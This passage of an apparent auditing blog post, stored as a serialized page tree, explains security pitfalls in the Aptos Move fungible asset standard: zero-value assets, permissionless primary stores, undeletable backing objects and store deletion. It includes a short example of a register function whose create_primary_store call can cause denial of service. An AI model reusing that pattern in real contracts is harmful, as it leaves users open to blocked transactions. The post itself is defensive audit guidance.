}\n}\n",[64307],{"type":23,"tag":154,"props":64308,"children":64309},{"__ignoreMap":7},[64310,64347,64399,64442,64449,64456,64528,64540,64578,64597,64604],{"type":23,"tag":504,"props":64311,"children":64312},{"class":5016,"line":5017},[64313,64317,64321,64326,64330,64335,64339,64343],{"type":23,"tag":504,"props":64314,"children":64315},{"style":5041},[64316],{"type":29,"value":63737},{"type":23,"tag":504,"props":64318,"children":64319},{"style":5041},[64320],{"type":29,"value":8252},{"type":23,"tag":504,"props":64322,"children":64323},{"style":5139},[64324],{"type":29,"value":64325}," destroy_zero",{"type":23,"tag":504,"props":64327,"children":64328},{"style":5058},[64329],{"type":29,"value":603},{"type":23,"tag":504,"props":64331,"children":64332},{"style":5041},[64333],{"type":29,"value":64334},"fungible_asset",{"type":23,"tag":504,"props":64336,"children":64337},{"style":5047},[64338],{"type":29,"value":6533},{"type":23,"tag":504,"props":64340,"children":64341},{"style":5467},[64342],{"type":29,"value":63602},{"type":23,"tag":504,"props":64344,"children":64345},{"style":5058},[64346],{"type":29,"value":16850},{"type":23,"tag":504,"props":64348,"children":64349},{"class":5016,"line":4868},[64350,64354,64358,64362,64366,64370,64375,64379,64383,64387,64391,64395],{"type":23,"tag":504,"props":64351,"children":64352},{"style":5030},[64353],{"type":29,"value":5033},{"type":23,"tag":504,"props":64355,"children":64356},{"style":5467},[64357],{"type":29,"value":63602},{"type":23,"tag":504,"props":64359,"children":64360},{"style":5058},[64361],{"type":29,"value":11633},{"type":23,"tag":504,"props":64363,"children":64364},{"style":5041},[64365],{"type":29,"value":22359},{"type":23,"tag":504,"props":64367,"children":64368},{"style":5058},[64369],{"type":29,"value":4367},{"type":23,"tag":504,"props":64371,"children":64372},{"style":5041},[64373],{"type":29,"value":64374},"metadata",{"type":23,"tag":504,"props":64376,"children":64377},{"style":5047},[64378],{"type":29,"value":6533},{"type":23,"tag":504,"props":64380,"children":64381},{"style":5041},[64382],{"type":29,"value":5075},{"type":23,"tag":504,"props":64384,"children":64385},{"style":5058},[64386],{"type":29,"value":38259},{"type":23,"tag":504,"props":64388,"children":64389},{"style":5047},[64390],{"type":29,"value":546},{"type":23,"tag":504,"props":64392,"children":64393},{"style":5041},[64394],{"type":29,"value":63869},{"type":23,"tag":504,"props":64396,"children":64397},{"style":5058},[64398],{"type":29,"value":5061},{"type":23,"tag":504,"props":64400,"children":64401},{"class":5016,"line":4876},[64402,64407,64411,64415,64419,64423,64428,64432,64437],{"type":23,"tag":504,"props":64403,"children":64404},{"style":5139},[64405],{"type":29,"value":64406},"    assert!",{"type":23,"tag":504,"props":64408,"children":64409},{"style":5058},[64410],{"type":29,"value":603},{"type":23,"tag":504,"props":64412,"children":64413},{"style":5041},[64414],{"type":29,"value":22359},{"type":23,"tag":504,"props":64416,"children":64417},{"style":5047},[64418],{"type":29,"value":5324},{"type":23,"tag":504,"props":64420,"children":64421},{"style":5083},[64422],{"type":29,"value":5086},{"type":23,"tag":504,"props":64424,"children":64425},{"style":5058},[64426],{"type":29,"value":64427},", error",{"type":23,"tag":504,"props":64429,"children":64430},{"style":5047},[64431],{"type":29,"value":5530},{"type":23,"tag":504,"props":64433,"children":64434},{"style":5139},[64435],{"type":29,"value":64436},"invalid_argument",{"type":23,"tag":504,"props":64438,"children":64439},{"style":5058},[64440],{"type":29,"value":64441},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":23,"tag":504,"props":64443,"children":64444},{"class":5016,"line":5099},[64445],{"type":23,"tag":504,"props":64446,"children":64447},{"style":5058},[64448],{"type":29,"value":5965},{"type":23,"tag":504,"props":64450,"children":64451},{"class":5016,"line":5203},[64452],{"type":23,"tag":504,"props":64453,"children":64454},{"emptyLinePlaceholder":15},[64455],{"type":29,"value":5734},{"type":23,"tag":504,"props":64457,"children":64458},{"class":5016,"line":5308},[64459,64463,64467,64472,64476,64480,64484,64488,64492,64496,64500,64504,64508,64512,64516,64520,64524],{"type":23,"tag":504,"props":64460,"children":64461},{"style":5041},[64462],{"type":29,"value":63737},{"type":23,"tag":504,"props":64464,"children":64465},{"style":5041},[64466],{"type":29,"value":8252},{"type":23,"tag":504,"props":64468,"children":64469},{"style":5041},[64470],{"type":29,"value":64471}," zero",{"type":23,"tag":504,"props":64473,"children":64474},{"style":5058},[64475],{"type":29,"value":2658},{"type":23,"tag":504,"props":64477,"children":64478},{"style":5467},[64479],{"type":29,"value":8033},{"type":23,"tag":504,"props":64481,"children":64482},{"style":5047},[64483],{"type":29,"value":6533},{"type":23,"tag":504,"props":64485,"children":64486},{"style":5041},[64487],{"type":29,"value":7977},{"type":23,"tag":504,"props":64489,"children":64490},{"style":5058},[64491],{"type":29,"value":9655},{"type":23,"tag":504,"props":64493,"children":64494},{"style":5041},[64495],{"type":29,"value":64374},{"type":23,"tag":504,"props":64497,"children":64498},{"style":5047},[64499],{"type":29,"value":6533},{"type":23,"tag":504,"props":64501,"children":64502},{"style":5467},[64503],{"type":29,"value":63623},{"type":23,"tag":504,"props":64505,"children":64506},{"style":5058},[64507],{"type":29,"value":2658},{"type":23,"tag":504,"props":64509,"children":64510},{"style":5467},[64511],{"type":29,"value":8033},{"type":23,"tag":504,"props":64513,"children":64514},{"style":5058},[64515],{"type":29,"value":10434},{"type":23,"tag":504,"props":64517,"children":64518},{"style":5047},[64519],{"type":29,"value":6533},{"type":23,"tag":504,"props":64521,"children":64522},{"style":5467},[64523],{"type":29,"value":63602},{"type":23,"tag":504,"props":64525,"children":64526},{"style":5058},[64527],{"type":29,"value":5333},{"type":23,"tag":504,"props":64529,"children":64530},{"class":5016,"line":5336},[64531,64536],{"type":23,"tag":504,"props":64532,"children":64533},{"style":5467},[64534],{"type":29,"value":64535},"    FungibleAsset",{"type":23,"tag":504,"props":64537,"children":64538},{"style":5058},[64539],{"type":29,"value":5333},{"type":23,"tag":504,"props":64541,"children":64542},{"class":5016,"line":5349},[64543,64548,64552,64557,64561,64566,64570,64574],{"type":23,"tag":504,"props":64544,"children":64545},{"style":5041},[64546],{"type":29,"value":64547},"        metadata",{"type":23,"tag":504,"props":64549,"children":64550},{"style":5047},[64551],{"type":29,"value":6533},{"type":23,"tag":504,"props":64553,"children":64554},{"style":5058},[64555],{"type":29,"value":64556}," object",{"type":23,"tag":504,"props":64558,"children":64559},{"style":5047},[64560],{"type":29,"value":5530},{"type":23,"tag":504,"props":64562,"children":64563},{"style":5139},[64564],{"type":29,"value":64565},"convert",{"type":23,"tag":504,"props":64567,"children":64568},{"style":5058},[64569],{"type":29,"value":603},{"type":23,"tag":504,"props":64571,"children":64572},{"style":5041},[64573],{"type":29,"value":64374},{"type":23,"tag":504,"props":64575,"children":64576},{"style":5058},[64577],{"type":29,"value":8780},{"type":23,"tag":504,"props":64579,"children":64580},{"class":5016,"line":5367},[64581,64585,64589,64593],{"type":23,"tag":504,"props":64582,"children":64583},{"style":5041},[64584],{"type":29,"value":9493},{"type":23,"tag":504,"props":64586,"children":64587},{"style":5047},[64588],{"type":29,"value":6533},{"type":23,"tag":504,"props":64590,"children":64591},{"style":5083},[64592],{"type":29,"value":5086},{"type":23,"tag":504,"props":64594,"children":64595},{"style":5058},[64596],{"type":29,"value":5557},{"type":23,"tag":504,"props":64598,"children":64599},{"class":5016,"line":5388},[64600],{"type":23,"tag":504,"props":64601,"children":64602},{"style":5058},[64603],{"type":29,"value":5403},{"type":23,"tag":504,"props":64605,"children":64606},{"class":5016,"line":5397},[64607],{"type":23,"tag":504,"props":64608,"children":64609},{"style":5058},[64610],{"type":29,"value":5965},{"type":23,"tag":32,"props":64612,"children":64613},{},[64614],{"type":29,"value":64615},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":23,"tag":32,"props":64617,"children":64618},{},[64619,64621,64626],{"type":29,"value":64620},"In practice, the ability to freely mint and burn zero ",{"type":23,"tag":154,"props":64622,"children":64624},{"className":64623},[],[64625],{"type":29,"value":63715},{"type":29,"value":64627}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":23,"tag":320,"props":64629,"children":64631},{"id":64630},"primary-and-secondary-stores",[64632],{"type":29,"value":64633},"Primary and secondary stores",{"type":23,"tag":32,"props":64635,"children":64636},{},[64637,64643,64645,64651,64653,64658],{"type":23,"tag":154,"props":64638,"children":64640},{"className":64639},[],[64641],{"type":29,"value":64642},"FungibleStores",{"type":29,"value":64644}," in comparison to ",{"type":23,"tag":154,"props":64646,"children":64648},{"className":64647},[],[64649],{"type":29,"value":64650},"CoinStores",{"type":29,"value":64652}," are not unique. Each user can have multiple ",{"type":23,"tag":154,"props":64654,"children":64656},{"className":64655},[],[64657],{"type":29,"value":64138},{"type":29,"value":64659}," objects for a given token!",{"type":23,"tag":32,"props":64661,"children":64662},{},[64663,64665,64672,64674,64679],{"type":29,"value":64664},"A primary fungible store is maintained via the aptly named ",{"type":23,"tag":68,"props":64666,"children":64669},{"href":64667,"rel":64668},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[72],[64670],{"type":29,"value":64671},"primary_fungible_store",{"type":29,"value":64673}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":23,"tag":154,"props":64675,"children":64677},{"className":64676},[],[64678],{"type":29,"value":63632},{"type":29,"value":64680}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":23,"tag":32,"props":64682,"children":64683},{},[64684],{"type":29,"value":64685},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":23,"tag":4743,"props":64687,"children":64689},{"className":5009,"code":64688,"language":5008,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[64690],{"type":23,"tag":154,"props":64691,"children":64692},{"__ignoreMap":7},[64693,64718,64750,64773,64789,64843,64858],{"type":23,"tag":504,"props":64694,"children":64695},{"class":5016,"line":5017},[64696,64700,64705,64709,64714],{"type":23,"tag":504,"props":64697,"children":64698},{"style":5041},[64699],{"type":29,"value":63737},{"type":23,"tag":504,"props":64701,"children":64702},{"style":5041},[64703],{"type":29,"value":64704}," entry",{"type":23,"tag":504,"props":64706,"children":64707},{"style":5041},[64708],{"type":29,"value":8252},{"type":23,"tag":504,"props":64710,"children":64711},{"style":5139},[64712],{"type":29,"value":64713}," register",{"type":23,"tag":504,"props":64715,"children":64716},{"style":5058},[64717],{"type":29,"value":5512},{"type":23,"tag":504,"props":64719,"children":64720},{"class":5016,"line":4868},[64721,64726,64730,64734,64738,64742,64746],{"type":23,"tag":504,"props":64722,"children":64723},{"style":5041},[64724],{"type":29,"value":64725},"    user",{"type":23,"tag":504,"props":64727,"children":64728},{"style":5047},[64729],{"type":29,"value":6533},{"type":23,"tag":504,"props":64731,"children":64732},{"style":5047},[64733],{"type":29,"value":9185},{"type":23,"tag":504,"props":64735,"children":64736},{"style":5041},[64737],{"type":29,"value":9190},{"type":23,"tag":504,"props":64739,"children":64740},{"style":5058},[64741],{"type":29,"value":46197},{"type":23,"tag":504,"props":64743,"children":64744},{"style":5047},[64745],{"type":29,"value":853},{"type":23,"tag":504,"props":64747,"children":64748},{"style":5058},[64749],{"type":29,"value":13818},{"type":23,"tag":504,"props":64751,"children":64752},{"class":5016,"line":4876},[64753,64757,64761,64765,64769],{"type":23,"tag":504,"props":64754,"children":64755},{"style":5058},[64756],{"type":29,"value":5128},{"type":23,"tag":504,"props":64758,"children":64759},{"style":5041},[64760],{"type":29,"value":8389},{"type":23,"tag":504,"props":64762,"children":64763},{"style":5058},[64764],{"type":29,"value":25073},{"type":23,"tag":504,"props":64766,"children":64767},{"style":5047},[64768],{"type":29,"value":853},{"type":23,"tag":504,"props":64770,"children":64771},{"style":5058},[64772],{"type":29,"value":63828},{"type":23,"tag":504,"props":64774,"children":64775},{"class":5016,"line":5099},[64776,64781,64785],{"type":23,"tag":504,"props":64777,"children":64778},{"style":5058},[64779],{"type":29,"value":64780},"    [",{"type":23,"tag":504,"props":64782,"children":64783},{"style":5047},[64784],{"type":29,"value":853},{"type":23,"tag":504,"props":64786,"children":64787},{"style":5058},[64788],{"type":29,"value":13818},{"type":23,"tag":504,"props":64790,"children":64791},{"class":5016,"line":5203},[64792,64796,64801,64805,64810,64814,64818,64822,64826,64830,64834,64839],{"type":23,"tag":504,"props":64793,"children":64794},{"style":5030},[64795],{"type":29,"value":5033},{"type":23,"tag":504,"props":64797,"children":64798},{"style":5041},[64799],{"type":29,"value":64800}," wallet_store",{"type":23,"tag":504,"props":64802,"children":64803},{"style":5047},[64804],{"type":29,"value":5050},{"type":23,"tag":504,"props":64806,"children":64807},{"style":5139},[64808],{"type":29,"value":64809}," create_primary_store",{"type":23,"tag":504,"props":64811,"children":64812},{"style":5058},[64813],{"type":29,"value":9244},{"type":23,"tag":504,"props":64815,"children":64816},{"style":5047},[64817],{"type":29,"value":5530},{"type":23,"tag":504,"props":64819,"children":64820},{"style":5139},[64821],{"type":29,"value":9253},{"type":23,"tag":504,"props":64823,"children":64824},{"style":5058},[64825],{"type":29,"value":603},{"type":23,"tag":504,"props":64827,"children":64828},{"style":5041},[64829],{"type":29,"value":63923},{"type":23,"tag":504,"props":64831,"children":64832},{"style":5058},[64833],{"type":29,"value":17224},{"type":23,"tag":504,"props":64835,"children":64836},{"style":5139},[64837],{"type":29,"value":64838},"get_metadata",{"type":23,"tag":504,"props":64840,"children":64841},{"style":5058},[64842],{"type":29,"value":17471},{"type":23,"tag":504,"props":64844,"children":64845},{"class":5016,"line":5308},[64846,64850,64854],{"type":23,"tag":504,"props":64847,"children":64848},{"style":5058},[64849],{"type":29,"value":64780},{"type":23,"tag":504,"props":64851,"children":64852},{"style":5047},[64853],{"type":29,"value":853},{"type":23,"tag":504,"props":64855,"children":64856},{"style":5058},[64857],{"type":29,"value":13818},{"type":23,"tag":504,"props":64859,"children":64860},{"class":5016,"line":5336},[64861],{"type":23,"tag":504,"props":64862,"children":64863},{"style":5058},[64864],{"type":29,"value":5965},{"type":23,"tag":32,"props":64866,"children":64867},{},[64868,64869,64875,64877,64883],{"type":29,"value":18661},{"type":23,"tag":154,"props":64870,"children":64872},{"className":64871},[],[64873],{"type":29,"value":64874},"create_primary_store",{"type":29,"value":64876}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":23,"tag":154,"props":64878,"children":64880},{"className":64879},[],[64881],{"type":29,"value":64882},"ensure_primary_store_exists",{"type":29,"value":64884}," is recommended to avoid such issues.",{"type":23,"tag":24,"props":64886,"children":64888},{"id":64887},"fungible-assets-and-objects",[64889],{"type":29,"value":64890},"Fungible assets and objects",{"type":23,"tag":32,"props":64892,"children":64893},{},[64894,64896,64901,64903,64910],{"type":29,"value":64895},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":23,"tag":154,"props":64897,"children":64899},{"className":64898},[],[64900],{"type":29,"value":50914},{"type":29,"value":64902}," module, introduced in ",{"type":23,"tag":68,"props":64904,"children":64907},{"href":64905,"rel":64906},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[72],[64908],{"type":29,"value":64909},"AIP-10",{"type":29,"value":357},{"type":23,"tag":446,"props":64912,"children":64913},{},[64914],{"type":23,"tag":32,"props":64915,"children":64916},{},[64917,64921],{"type":23,"tag":504,"props":64918,"children":64919},{},[64920],{"type":29,"value":63512},{"type":29,"value":64922}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":23,"tag":32,"props":64924,"children":64925},{},[64926],{"type":29,"value":64927},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":23,"tag":320,"props":64929,"children":64931},{"id":64930},"creation-and-deletion",[64932],{"type":29,"value":64933},"Creation and deletion",{"type":23,"tag":32,"props":64935,"children":64936},{},[64937,64939,64945],{"type":29,"value":64938},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":23,"tag":154,"props":64940,"children":64942},{"className":64941},[],[64943],{"type":29,"value":64944},"fungible_asset::add_fungibility",{"type":29,"value":6533},{"type":23,"tag":4743,"props":64947,"children":64949},{"className":5009,"code":64948,"language":5008,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[64950],{"type":23,"tag":154,"props":64951,"children":64952},{"__ignoreMap":7},[64953],{"type":23,"tag":504,"props":64954,"children":64955},{"class":5016,"line":5017},[64956,64960,64964,64968,64973,64977,64982,64986,64991,64996,65000,65004],{"type":23,"tag":504,"props":64957,"children":64958},{"style":5139},[64959],{"type":29,"value":44042},{"type":23,"tag":504,"props":64961,"children":64962},{"style":5058},[64963],{"type":29,"value":603},{"type":23,"tag":504,"props":64965,"children":64966},{"style":5047},[64967],{"type":29,"value":22674},{"type":23,"tag":504,"props":64969,"children":64970},{"style":5058},[64971],{"type":29,"value":64972},"object",{"type":23,"tag":504,"props":64974,"children":64975},{"style":5047},[64976],{"type":29,"value":5530},{"type":23,"tag":504,"props":64978,"children":64979},{"style":5139},[64980],{"type":29,"value":64981},"can_generate_delete_ref",{"type":23,"tag":504,"props":64983,"children":64984},{"style":5058},[64985],{"type":29,"value":603},{"type":23,"tag":504,"props":64987,"children":64988},{"style":5041},[64989],{"type":29,"value":64990},"constructor_ref",{"type":23,"tag":504,"props":64992,"children":64993},{"style":5058},[64994],{"type":29,"value":64995},"), error",{"type":23,"tag":504,"props":64997,"children":64998},{"style":5047},[64999],{"type":29,"value":5530},{"type":23,"tag":504,"props":65001,"children":65002},{"style":5139},[65003],{"type":29,"value":64436},{"type":23,"tag":504,"props":65005,"children":65006},{"style":5058},[65007],{"type":29,"value":65008},"(EOBJECT_IS_DELETABLE));\n",{"type":23,"tag":32,"props":65010,"children":65011},{},[65012,65014,65019,65021,65026,65027,65034],{"type":29,"value":65013},"This object serves as the foundation for ownership tokens in the form of a ",{"type":23,"tag":154,"props":65015,"children":65017},{"className":65016},[],[65018],{"type":29,"value":63573},{"type":29,"value":65020},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":23,"tag":154,"props":65022,"children":65024},{"className":65023},[],[65025],{"type":29,"value":64944},{"type":29,"value":1698},{"type":23,"tag":68,"props":65028,"children":65031},{"href":65029,"rel":65030},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[72],[65032],{"type":29,"value":65033},"lacked this assert",{"type":29,"value":65035},", which we discovered and reported.",{"type":23,"tag":32,"props":65037,"children":65038},{},[65039,65044,65046,65051,65053,65058],{"type":23,"tag":154,"props":65040,"children":65042},{"className":65041},[],[65043],{"type":29,"value":64944},{"type":29,"value":65045}," transfers the ",{"type":23,"tag":154,"props":65047,"children":65049},{"className":65048},[],[65050],{"type":29,"value":63632},{"type":29,"value":65052}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":23,"tag":154,"props":65054,"children":65056},{"className":65055},[],[65057],{"type":29,"value":63573},{"type":29,"value":65059}," can be minted, representing a share of ownership in that object.",{"type":23,"tag":4743,"props":65061,"children":65063},{"className":5009,"code":65062,"language":5008,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[65064],{"type":23,"tag":154,"props":65065,"children":65066},{"__ignoreMap":7},[65067,65075,65095,65110,65137,65152,65173,65185,65197,65209,65221,65233,65245,65252,65259,65274],{"type":23,"tag":504,"props":65068,"children":65069},{"class":5016,"line":5017},[65070],{"type":23,"tag":504,"props":65071,"children":65072},{"style":5021},[65073],{"type":29,"value":65074},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":23,"tag":504,"props":65076,"children":65077},{"class":5016,"line":4868},[65078,65082,65086,65091],{"type":23,"tag":504,"props":65079,"children":65080},{"style":5041},[65081],{"type":29,"value":63737},{"type":23,"tag":504,"props":65083,"children":65084},{"style":5041},[65085],{"type":29,"value":8252},{"type":23,"tag":504,"props":65087,"children":65088},{"style":5139},[65089],{"type":29,"value":65090}," add_fungibility",{"type":23,"tag":504,"props":65092,"children":65093},{"style":5058},[65094],{"type":29,"value":5512},{"type":23,"tag":504,"props":65096,"children":65097},{"class":5016,"line":4876},[65098,65102,65106],{"type":23,"tag":504,"props":65099,"children":65100},{"style":5058},[65101],{"type":29,"value":64780},{"type":23,"tag":504,"props":65103,"children":65104},{"style":5047},[65105],{"type":29,"value":853},{"type":23,"tag":504,"props":65107,"children":65108},{"style":5058},[65109],{"type":29,"value":13818},{"type":23,"tag":504,"props":65111,"children":65112},{"class":5016,"line":5099},[65113,65117,65121,65125,65129,65133],{"type":23,"tag":504,"props":65114,"children":65115},{"style":5058},[65116],{"type":29,"value":933},{"type":23,"tag":504,"props":65118,"children":65119},{"style":5047},[65120],{"type":29,"value":6533},{"type":23,"tag":504,"props":65122,"children":65123},{"style":5467},[65124],{"type":29,"value":63623},{"type":23,"tag":504,"props":65126,"children":65127},{"style":5058},[65128],{"type":29,"value":2658},{"type":23,"tag":504,"props":65130,"children":65131},{"style":5467},[65132],{"type":29,"value":63632},{"type":23,"tag":504,"props":65134,"children":65135},{"style":5058},[65136],{"type":29,"value":9325},{"type":23,"tag":504,"props":65138,"children":65139},{"class":5016,"line":5203},[65140,65144,65148],{"type":23,"tag":504,"props":65141,"children":65142},{"style":5058},[65143],{"type":29,"value":64780},{"type":23,"tag":504,"props":65145,"children":65146},{"style":5047},[65147],{"type":29,"value":853},{"type":23,"tag":504,"props":65149,"children":65150},{"style":5058},[65151],{"type":29,"value":13818},{"type":23,"tag":504,"props":65153,"children":65154},{"class":5016,"line":5308},[65155,65160,65164,65169],{"type":23,"tag":504,"props":65156,"children":65157},{"style":5139},[65158],{"type":29,"value":65159},"    move_to",{"type":23,"tag":504,"props":65161,"children":65162},{"style":5058},[65163],{"type":29,"value":603},{"type":23,"tag":504,"props":65165,"children":65166},{"style":5041},[65167],{"type":29,"value":65168},"metadata_object_signer",{"type":23,"tag":504,"props":65170,"children":65171},{"style":5058},[65172],{"type":29,"value":5557},{"type":23,"tag":504,"props":65174,"children":65175},{"class":5016,"line":5336},[65176,65181],{"type":23,"tag":504,"props":65177,"children":65178},{"style":5467},[65179],{"type":29,"value":65180},"        Metadata",{"type":23,"tag":504,"props":65182,"children":65183},{"style":5058},[65184],{"type":29,"value":5333},{"type":23,"tag":504,"props":65186,"children":65187},{"class":5016,"line":5349},[65188,65193],{"type":23,"tag":504,"props":65189,"children":65190},{"style":5041},[65191],{"type":29,"value":65192},"            name",{"type":23,"tag":504,"props":65194,"children":65195},{"style":5058},[65196],{"type":29,"value":5557},{"type":23,"tag":504,"props":65198,"children":65199},{"class":5016,"line":5367},[65200,65205],{"type":23,"tag":504,"props":65201,"children":65202},{"style":5041},[65203],{"type":29,"value":65204},"            symbol",{"type":23,"tag":504,"props":65206,"children":65207},{"style":5058},[65208],{"type":29,"value":5557},{"type":23,"tag":504,"props":65210,"children":65211},{"class":5016,"line":5388},[65212,65217],{"type":23,"tag":504,"props":65213,"children":65214},{"style":5041},[65215],{"type":29,"value":65216},"            decimals",{"type":23,"tag":504,"props":65218,"children":65219},{"style":5058},[65220],{"type":29,"value":5557},{"type":23,"tag":504,"props":65222,"children":65223},{"class":5016,"line":5397},[65224,65229],{"type":23,"tag":504,"props":65225,"children":65226},{"style":5041},[65227],{"type":29,"value":65228},"            icon_uri",{"type":23,"tag":504,"props":65230,"children":65231},{"style":5058},[65232],{"type":29,"value":5557},{"type":23,"tag":504,"props":65234,"children":65235},{"class":5016,"line":5649},[65236,65241],{"type":23,"tag":504,"props":65237,"children":65238},{"style":5041},[65239],{"type":29,"value":65240},"            project_uri",{"type":23,"tag":504,"props":65242,"children":65243},{"style":5058},[65244],{"type":29,"value":5557},{"type":23,"tag":504,"props":65246,"children":65247},{"class":5016,"line":5666},[65248],{"type":23,"tag":504,"props":65249,"children":65250},{"style":5058},[65251],{"type":29,"value":5394},{"type":23,"tag":504,"props":65253,"children":65254},{"class":5016,"line":5683},[65255],{"type":23,"tag":504,"props":65256,"children":65257},{"style":5058},[65258],{"type":29,"value":45716},{"type":23,"tag":504,"props":65260,"children":65261},{"class":5016,"line":5696},[65262,65266,65270],{"type":23,"tag":504,"props":65263,"children":65264},{"style":5058},[65265],{"type":29,"value":1380},{"type":23,"tag":504,"props":65267,"children":65268},{"style":5047},[65269],{"type":29,"value":853},{"type":23,"tag":504,"props":65271,"children":65272},{"style":5058},[65273],{"type":29,"value":13818},{"type":23,"tag":504,"props":65275,"children":65276},{"class":5016,"line":5705},[65277],{"type":23,"tag":504,"props":65278,"children":65279},{"style":5058},[65280],{"type":29,"value":5965},{"type":23,"tag":20844,"props":65282,"children":65283},{},[],{"type":23,"tag":32,"props":65285,"children":65286},{},[65287,65289,65294,65296,65301],{"type":29,"value":65288},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":23,"tag":154,"props":65290,"children":65292},{"className":65291},[],[65293],{"type":29,"value":64138},{"type":29,"value":65295}," is also an object, and a \"secondary\" ",{"type":23,"tag":154,"props":65297,"children":65299},{"className":65298},[],[65300],{"type":29,"value":64138},{"type":29,"value":65302}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":23,"tag":4743,"props":65304,"children":65306},{"className":5009,"code":65305,"language":5008,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[65307],{"type":23,"tag":154,"props":65308,"children":65309},{"__ignoreMap":7},[65310,65318,65360,65367,65375],{"type":23,"tag":504,"props":65311,"children":65312},{"class":5016,"line":5017},[65313],{"type":23,"tag":504,"props":65314,"children":65315},{"style":5021},[65316],{"type":29,"value":65317},"//Fungible asset\n",{"type":23,"tag":504,"props":65319,"children":65320},{"class":5016,"line":4868},[65321,65325,65329,65334,65338,65343,65347,65351,65356],{"type":23,"tag":504,"props":65322,"children":65323},{"style":5041},[65324],{"type":29,"value":63737},{"type":23,"tag":504,"props":65326,"children":65327},{"style":5041},[65328],{"type":29,"value":8252},{"type":23,"tag":504,"props":65330,"children":65331},{"style":5139},[65332],{"type":29,"value":65333}," remove_store",{"type":23,"tag":504,"props":65335,"children":65336},{"style":5058},[65337],{"type":29,"value":603},{"type":23,"tag":504,"props":65339,"children":65340},{"style":5041},[65341],{"type":29,"value":65342},"delete_ref",{"type":23,"tag":504,"props":65344,"children":65345},{"style":5047},[65346],{"type":29,"value":6533},{"type":23,"tag":504,"props":65348,"children":65349},{"style":5047},[65350],{"type":29,"value":9185},{"type":23,"tag":504,"props":65352,"children":65353},{"style":5467},[65354],{"type":29,"value":65355},"DeleteRef",{"type":23,"tag":504,"props":65357,"children":65358},{"style":5058},[65359],{"type":29,"value":5200},{"type":23,"tag":504,"props":65361,"children":65362},{"class":5016,"line":4876},[65363],{"type":23,"tag":504,"props":65364,"children":65365},{"emptyLinePlaceholder":15},[65366],{"type":29,"value":5734},{"type":23,"tag":504,"props":65368,"children":65369},{"class":5016,"line":5099},[65370],{"type":23,"tag":504,"props":65371,"children":65372},{"style":5021},[65373],{"type":29,"value":65374},"//Object\n",{"type":23,"tag":504,"props":65376,"children":65377},{"class":5016,"line":5203},[65378,65382,65386,65391,65395,65400,65404,65409],{"type":23,"tag":504,"props":65379,"children":65380},{"style":5041},[65381],{"type":29,"value":63737},{"type":23,"tag":504,"props":65383,"children":65384},{"style":5041},[65385],{"type":29,"value":8252},{"type":23,"tag":504,"props":65387,"children":65388},{"style":5139},[65389],{"type":29,"value":65390}," delete",{"type":23,"tag":504,"props":65392,"children":65393},{"style":5058},[65394],{"type":29,"value":603},{"type":23,"tag":504,"props":65396,"children":65397},{"style":5030},[65398],{"type":29,"value":65399},"ref",{"type":23,"tag":504,"props":65401,"children":65402},{"style":5047},[65403],{"type":29,"value":6533},{"type":23,"tag":504,"props":65405,"children":65406},{"style":5467},[65407],{"type":29,"value":65408}," DeleteRef",{"type":23,"tag":504,"props":65410,"children":65411},{"style":5058},[65412],{"type":29,"value":5200},{"type":23,"tag":32,"props":65414,"children":65415},{},[65416,65418,65424,65426,65431,65433,65438,65440,65445,65447,65453,65455,65461,65463,65468],{"type":29,"value":65417},"When ",{"type":23,"tag":154,"props":65419,"children":65421},{"className":65420},[],[65422],{"type":29,"value":65423},"object::delete",{"type":29,"value":65425}," removes the ",{"type":23,"tag":154,"props":65427,"children":65429},{"className":65428},[],[65430],{"type":29,"value":50914},{"type":29,"value":65432}," from a ",{"type":23,"tag":154,"props":65434,"children":65436},{"className":65435},[],[65437],{"type":29,"value":64138},{"type":29,"value":65439}," object, the ",{"type":23,"tag":154,"props":65441,"children":65443},{"className":65442},[],[65444],{"type":29,"value":64138},{"type":29,"value":65446}," resource becomes permanently undeletable. This is because ",{"type":23,"tag":154,"props":65448,"children":65450},{"className":65449},[],[65451],{"type":29,"value":65452},"remove_store",{"type":29,"value":65454}," can't create an ",{"type":23,"tag":154,"props":65456,"children":65458},{"className":65457},[],[65459],{"type":29,"value":65460},"Object\u003CFungibleStore>",{"type":29,"value":65462}," without an 